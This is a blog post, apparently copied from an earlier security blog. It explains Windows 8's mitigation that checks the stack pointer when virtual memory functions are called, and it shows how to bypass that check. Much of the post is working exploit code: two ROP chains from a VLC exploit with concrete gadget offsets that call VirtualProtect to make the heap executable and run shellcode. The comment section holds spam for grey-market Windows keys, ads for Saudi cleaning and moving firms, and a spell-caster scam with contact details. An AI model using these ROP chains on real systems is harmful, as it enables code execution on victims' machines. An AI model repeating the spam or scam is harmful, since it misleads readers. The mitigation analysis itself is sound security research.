Pages

19 Desember 2012

Defeating Windows 8 ROP Mitigation

Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP).

Return-Oriented Programming

For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker.

Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist.

A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run.

Windows 8 ROP Mitigation

Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu:
 
 char __cdecl PsValidateUserStack()
    {
      char Status; // al@1
      _KTRAP_FRAME *TrapFrame; // ecx@3
      _TEB *Teb; // ecx@3
      void *.Eip; // [sp+10h] [bp-88h]@3
      unsigned int .Esp; // [sp+14h] [bp-84h]@3
      void *StackLimit; // [sp+18h] [bp-80h]@3
      void *StackBase; // [sp+1Ch] [bp-7Ch]@3
      _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
      CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3
    
      CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
      Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
      if ( Status )
      {
        __asm { bt      dword ptr [edx+58h], 13h }  // // KernelStackResident, ReadyTransition, Alertable
        Status = _CF;
        if ( _CF != 1 )
        {
          TrapFrame = CurrentThread->Tcb.TrapFrame;
          .Esp = TrapFrame->HardwareEsp;
          .Eip = (void *)TrapFrame->Eip;
          Teb = (_TEB *)CurrentThread->Tcb.Teb;
          ms_exc.disabled = 0;
          StackLimit = Teb->DeallocationStack;
          StackBase = Teb->NtTib.StackBase;
          ms_exc.disabled = -2;
          Status = .Esp;
          if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
          {
            memset(&ExitStatus, 0, 0x50u);
            ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
            ExitStatus.ExceptionAddress = .Eip;
            ExitStatus.NumberParameters = 2;
            ExitStatus.ExceptionInformation[0] = 4;
            ExitStatus.ExceptionInformation[1] = .Esp;
            Status = DbgkForwardException(&ExitStatus, 1, 1);
            if ( !Status )
            {
              Status = DbgkForwardException(&ExitStatus, 0, 1);
              if ( !Status )
                Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
            }
          }
        }
      }
      return Status;
    }


As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime.

Bypassing the Mitigation

To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following:

    xchg esi, esp
    retn
 
 
In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Call VirtualProtect()
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x29d13,        # jmp eax

    rop_base + 0x1022,        # retn
    heap & ~0xfff,            # lpAddress
    0x60000,            # dwSize
    0x40,                # flNewProtect
    heap - 0x1000,            # lpfOldProtect

    # Enough of this ROP business...
    rop_base + 0xdace8              # push esp; retn
]
This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode.

Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Write lpfOldProtect
    rop_base + 0x2c283,        # pop eax; retn
    heap - 0x1000,            # lpfOldProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write flNewProtect
    rop_base + 0x2c283,        # pop eax; retn
    0x40,                # flNewProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write dwSize
    rop_base + 0x2c283,        # pop eax; retn
    0x60000,            # dwSize -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write lpAddress
    rop_base + 0x2c283,        # pop eax; retn
    heap & ~0xfff,            # lpAddress -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &Pivot
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x229a5,        # &pivot -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &VirtualProtect
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x1db4f,        # mov [esi],eax; retn

    # Pivot ESP
    rop_base + 0x229a5,        # xchg esi,esp; retn;

    # Jump into shellcode
    rop_base + 0xdace8              # push esp; retn
]

This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect.

In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead.

19 komentar:

  1. I see you stole this from
    http://vulnfactory.org/blog/2011/09/21/defeating-windows-8-rop-mitigation/

    Nice!

    BalasHapus
  2. I just wanna say thank you for the information that you have been shared to us readers. Thanks for posting this kind of theme.

    BalasHapus
  3. windows 10 serial key how to find , windows vista enterprise termékkulcs programok , www.windows 7 keygen , windows 10 activation error code 0xc004f050 , win ows 7 key , visio 2007 professional activation code , windows 8.1 pro key buy , windows 7 keys sale , lCDFfJ

    buy office 2016 product key

    windows server 2012 r2 free

    rosetta stone french key sale

    windows 10 product serial number offer

    BalasHapus
  4. Go to
    www.pay4key.org get genuine windows 10 product keys.

    BalasHapus
  5. Windows 10 Key Sale Store (http://www.windows10keysale.com)


    there is also the site Windows 10 Key Sale Store (http://www.windows10keysale.com) that simply sell licenses only, Windows 7 Home Premium SP1 Product Key is 35.
    I bought my Windows 7 Home Premium SP1 Product Key license on earlier this year and I have not had an activating problem.
    should just find the iso operating system (I have downloaded from the Microsoft site, I do not know if is also easy for Windows 7 Home Premium SP1 Product Key), the site provides links but I think probably not in French.


    Windows 10 Key Sale Store (http://www.windows10keysale.com)

    BalasHapus
  6. I am sure this post has touched all the internet viewers, its really really nice paragraph on building up new weblog.

    BalasHapus


  7. Windows 10 Product Keys

    Hearing all the negative sentiments toward the Windows 10 Education Product Key OS made me really cautious in upgrading from Windows 7.
    Finally, my Windows 7 became buggy enough that I decided it was time for me to go ahead and upgrade.
    The days of reformatting my hard drive and reinstalling Windows OS (95, 98, XP...), when the computer started to act up, are over. I got the pro upgrade version....for a really great price on http://www.keysonlinestore.com/ .
    I purchased all my software from them. They are the best online store I ever buy.
    Installation took a while, with lots of downloading and installing drivers, updates...etc.
    When it was finally done, computer was running a lot faster, and all of the weird behaviors of previous installation were gone.
    Now as far as using the new OS, it really wasn't that big of a deal. Yes, it's different from the previous Windows; but after 2 or 3 days, I've picked up so many cool features that I truly believe it's a superior OS compared to the previous Windows releases. Really.
    The interface is quite convenient once you figure out how to use all the features and what happens when you move your cursor around the screen.
    Oh, yeah, and I don't have a touchscreen. Although I'm certain that a touchscreen would definitely be a more effective way to navigate Windows 8, I really have no problems using just the mouse.
    So, there you have it. I love this new OS.

    Windows 10 Product Keys

    BalasHapus
  8. Windows 10 Product Key

    I also faced the same problem as you several days ago. My computer operated extremely slowly and I decided to upgrade the operating system. I installed Windows 7 Ultimate SP1 Product Key but it required me to activate it with a product key. Then I searched the product key on site and compared them. Finally I got a powerful and genuine product from the site http://www.Ms4Key.com// . The product key was sent to me in a short time and I had Windows 7 Ultimate SP1 Product Key activated effectively and efficiently.

    Windows 10 Product Key

    BalasHapus
  9. شركة لمسات جدة تعتبر افضل شركة تنظيف خزانات بجدة وتعد من اقوي شركات مكافحة الحشرات بجدة وبالفعل افضل شركة مكافحة حشرات بالطائف لأنها شركة متميزة ولديها فريق عمل متخصص وتستخدم دائما ما شركة صيانة خزانات بجدة ما يناسب وضعها ومكانتها فى سوق العمل شركة تنظيف منازل بجدة , نحن نقدم اليكم خدمتنا , فاذا استعنت بنا شركة تنظيف منازل بمكة او اتصلت على شركة تنظيف خزانات بالمدينة المنورة فانت الرابح الاكبر لا تترد فى الاتصال على شركة تنظيف بجدة وسوف نصلك فى اى مكان
    شركة تنظيف منازل بمكة
    افضل شركة تنظيف بجدة
    شركة تنظيف خزانات بالمدينة المنورة
    شركة صيانة خزانات بجدة

    BalasHapus
  10. شركة تنظيف خزانات بجدة
    شركة عزل خزانات بجدة
    شركة غسيل خزانات بجدة
    شركة تنظيف خزانات بجدة
    شركة عزل خزانات بجدة
    شركة غسيل خزانات بجدة
    شركة تنظيف فرش مساجد بالبخار بجدة
    شركة تنظيف مساجد بالبخار بجدة
    شركة تنظيف مجالس بالبخار بجدة
    شركة تنظيف فرش مساجد بالبخار بجدة
    شركة تنظيف مساجد بالبخار بجدة
    شركة تنظيف مجالس بالبخار بجدة
    شركة مكافحة حشرات بجدة
    شركات مكافحة الحشرات بجدة
    شركة مكافحة الحشرات بجدة
    شركة مكافحة حشرات بجدة
    شركات مكافحة الحشرات بجدة
    شركة مكافحة الحشرات بجدة

    BalasHapus
  11. في غالب الأحيان يحتاج سكان مكة المكرمة الى تنظيف وتعقيم المنازل واعمال مكافحة الحشرات ويبحثون في تلك الأثناء عن شركات متخصصة تقدم خدمات منزلية ونحن نقدم لكم نبذة عن تلك الشركات اولهم شركة مكافحة حشرات بجدة للقضاء على الحشرات المنزلية الضارة وايضا شركه مكافحه حشرات بجده ولكم المهم في اعمال مكافحة الحشرات شركة مكافحة الصراصير بجده ولا ننسى ان شركة مكافحة البق بجدة لها فضل كبير في اختيار نوعية المبيدات المستخدمة في اعمال مكافحه الحشرات بجده

    BalasHapus
  12. Get Your Ex Boyfriend/Girlfriend Back After Breakup/Divorce Dr.Unity for help +2348055361568 his result is 100% guarantee..
    I'm so excited my husband is back after he left me for another woman" After 12years of marriage, me and my husband has been into one quarrel or the other until he finally left me and moved to California to be with another woman. I felt my life was over and my kids thought they would never see their father again. i tried to be strong just for the kids but i could not control the pains that torments my heart, my heart was filled with sorrows and pains because i was really in love with my husband. Every day and night i think of him and always wish he could come back to me, I was really worried and i needed help, so i searched for help online and I came across a website that suggested that Dr Unity can help get ex back fast. So, I felt I should give him a try. I contacted him and he told me what to do and i did it then he did a Love spell for me. 11hours later, my husband really called me and told me that he miss me and the kids so much, So Amazing!! So that was how he came back that same day,with lots of love and joy,and he apologized for his mistake,and for the pain he caused me and the kids. Then from that day,our Marriage was now stronger than how it were before, All thanks to Dr Unity. he is so powerful and i decided to share my story on the internet that Dr.Unity is real spell caster who i will always pray to live long to help his children in the time of trouble, if you are here and you need your ex lover back or save your marriage fast. Do not cry anymore, contact this powerful spell caster Dr.Unity now. Here’s his contact,Email him at: Unityspelltemple@gmail.com or Call/WhatsApp him: +2348055361568 ,website:https://unityspelltemples.blogspot.com ,your kindness will never be forgotten.

    Natasha Wanderly form USA.

    BalasHapus
  13. وايضا من اقوى شركات نقل العفش مع الفك والتركيب تلك التي توجد في مكة المكرمة وقد نالت شركه نقل اثاث بمكه المكرمه شهرة واسعة لأنها تعتمد على اساليب حديثة في اعمال نقل العفش مع الفك والتركيب

    BalasHapus



  14. افضل شركة نقل عفش بجدة
    نقل عفش بجدة
    نقل عفش بمكة
    نقل عفش جدة
    شركة نقل عفش بجدة
    شركة نقل عفش بمكة
    نقل عفش بجده
    نقل عفش جده
    شركه نقل عفش بجده
    شركة نقل عفش بجدة نقلتك
    نقل عفش مكة
    شركه نقل عفش بمكه
    ارخص شركه نقل عفش بجدة
    شركات نقل العفش بجدة
    شركة نقل اثاث بجدة
    شركه نقل عفش بمكه المكرمة
    شركة نقل عفش جدة
    شركات نقل العفش بجدة
    شركة نقل اثاث بجدة
    شركة نقل عفش جدة
    نقل اثاث بجدة
    نقل عفش بمكه
    ارخص شركه نقل عفش بمكه
    نقل اثاث بجده
    نقل عفش في جده
    شركة نقل عفش مكة
    نقل عفش في جده
    شركة نقل عفش مكة
    افضل نقل عفش في مكة
    نقل عفش مكه
    افضل شركة نقل عفش جدة
    شركة نقل عفش بجده
    افضل شركة نقل عفش في جده
    نقل عفش مكة الشرائع
    شركة نقل عفش بمكه
    دليل نقل عفش جدة
    دليل شركات نقل العفش بجدة
    نقل العفش بجدة
    شركة نقل عفش بجدة عمالة فينة
    شركه نقل اثاث بجده

    شركة نقل اثاث بمكة
    افضل شركة نقل عفش بمكة
    ارخص شركات نقل العفش بجدة
    شركات نقل عفش بجده رخيص
    شركات نقل العفش بجدة عمالة

    BalasHapus
  15. تغليف الاثاث
    شركة شحن اثاث
    نقل العفش بالرياض
    اسعار نقل اثاث بالرياض
    نقل عفش جنوب الرياض
    رقم نقل عفش
    نقل اثاث شمال الرياض
    نقل عفش من المدينة الى الرياض
    سيارة نقل عفش
    شركة نقل عفش غرب الرياض
    شركة نقل عفش غرب الرياض
    شركة لنقل العفش
    عربية نقل عفش
    افضل شركه نقل عفش بالرياض
    شركة تغليف اثاث
    ونش نقل العفش
    لنقل الاثاث
    سيارات نقل الاثاث
    افضل شركة نقل اثاث
    ارقام دينات
    نقل عفش داخل وخارج الرياض
    شركة نقل عفش شمال الرياض
    ارقام نقل عفش
    نقل عفش بالرياض رخيص
    شركة تغليف ونقل اثاث
    دينا نقل اثاث داخل وخارج الرياض
    ارقام دينات في الرياض
    دينا نقل اثاث داخل وخارج الرياض
    فك نقل تركيب اثاث
    نقل عفش دينا بالرياض الرياض
    شركة تغليف ونقل اثاث
    شركة نقل عفش في الرياض
    لنقل العفش
    شركة تغليف اثاث بالرياض
    دينا نقل عفش شمال الرياض
    شركات نقل وتركيب الاثاث
    نقل عفش في الرياض
    شركة نقل اثاث بالرياض عماله فلبينيه
    شركة نقل عفش شرق الرياض
    ارخص شركة تخزين اثاث بالرياض
    ارقام نقل عفش بالرياض
    اسعار نقل الاثاث
    دينا نقل عفش شرق الرياض
    ارخص نقل عفش
    شركة شحن عفش
    شركات نقل وتخزين
    خدمات نقل الاثاث
    نقل عفش العاصمه
    كراتين نقل عفش
    تغليف عفش
    افضل شركه نقل عفش
    افضل شركة نقل عفش
    افضل شركه نقل عفش

    BalasHapus
  16. https://www.clean-up-1.com/%D8%A7%D9%84%D9%85%D9%86%D8%B7%D9%82%D8%A9-%D8%A7%D9%84%D8%BA%D8%B1%D8%A8%D9%8A%D8%A9/%D8%B4%D8%B1%D9%83%D8%A9-%D9%86%D9%82%D9%84-%D8%B9%D9%81%D8%B4-%D8%A8%D8%A7%D9%84%D9%85%D8%AF%D9%8A%D9%86%D8%A9

    BalasHapus
  17. Very interesting this article, if you are interested in investigating more on the subject and cyber security I recommend https://demyo.com/

    BalasHapus

Thank f' u C0mment